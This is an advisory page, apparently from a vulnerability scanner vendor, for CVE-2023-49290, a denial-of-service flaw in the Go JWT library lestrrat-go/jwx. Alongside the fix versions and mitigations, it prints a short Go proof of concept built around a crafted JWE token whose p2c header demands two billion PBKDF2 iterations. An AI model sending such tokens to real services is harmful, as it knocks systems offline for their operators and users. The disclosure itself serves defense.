CVE-2023-49290 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in github.com/lestrrat-go/jwx. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/lestrrat-go/jwx — see the affected versions and patch details below.
Malicious parameters can cause a denial of service in lestrrat-go/jwx
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49290.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/lestrrat-go/jwx🐹github.com/lestrrat-go/jwx/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack
Details
The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack
PoC
package main
import (
"fmt"
"github.com/lestrrat-go/jwx/v2/jwa"
"github.com/lestrrat-go/jwx/v2/jwe"
"github.com/lestrrat-go/jwx/v2/jwk"
)
func main() {
token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
key, err := jwk.FromRaw([]byte(`abcdefg`))
payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
if err == nil {
fmt.Println(string(payload))
}
}
Impact
It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lestrrat-go/jwx | all versions | 1.2.27go get github.com/lestrrat-go/jwx@v1.2.27 |
| 🐹Go | github.com/lestrrat-go/jwx/v2 | all versions | 2.0.18go get github.com/lestrrat-go/jwx/v2@v2.0.18 |
Affected Products
jwxlestrrat-goResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lestrrat-go/jwx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lestrrat-go/jwx to 1.2.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49290 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2023-49290 in your dependencies?
Find it across Go, including transitive dependencies.